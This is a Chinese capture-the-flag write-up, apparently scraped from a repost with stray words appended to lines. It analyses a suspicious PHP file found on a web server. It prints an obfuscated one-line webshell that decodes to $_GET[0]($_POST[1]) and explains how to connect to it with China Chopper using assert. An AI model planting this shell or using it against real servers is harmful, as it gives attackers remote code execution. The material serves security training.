[ 墨者学院 ] 代码审计 —— PHP代码分析溯源(第1题)

0x01.题目描述:

                                    背景介绍

某日,在某公司作IT维护的朋友给安全工程师"墨者"发了一个PHP文件,说在其WEB服务器发现多了一个b.php文件,目前不肯定这个文件是开发留下的正常文件仍是攻击者上传的木马后门,但愿"墨者"可以帮他分析一下。php

                                     实训目标

一、了解PHP语言的基本代码;
二、了解PHP语言中“危险”函数的代码;安全

 

0x02.解题过程:

启动靶场环境后,点击生成的连接地址,这里给出了b.php的代码bash

1 <?php
2 @$_++;
3 $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
4 $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
5 ${$__}[!$_](${$___}[$_]);
6 ?>

下面利用php在线工具分析一下这些代码的含义。服务器

(php在线工具:https://tool.lu/coderunner/函数

能够看到这里赋值的三个变量的值:工具

$_ = 1url

$__ = _GETspa

$___ = _POSTcode

而后将这三个值带入下面的语句${$__}[!$_](${$___}[$_])};中,即:${_GET}[!1](${_POST}[1]);最后的结果就是:$_GET[0]($_POST[1]);blog

构造菜刀的连接参数为http://url/b.php?0=assert,密码为1。

链接便可拿到靶机目录下的key。

 

问题总结:

这里不明白的是为何使用的参数是assert而不是eval,下面简述一下assert和eval的不一样。

eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo()) 
相关文章
相关标签/搜索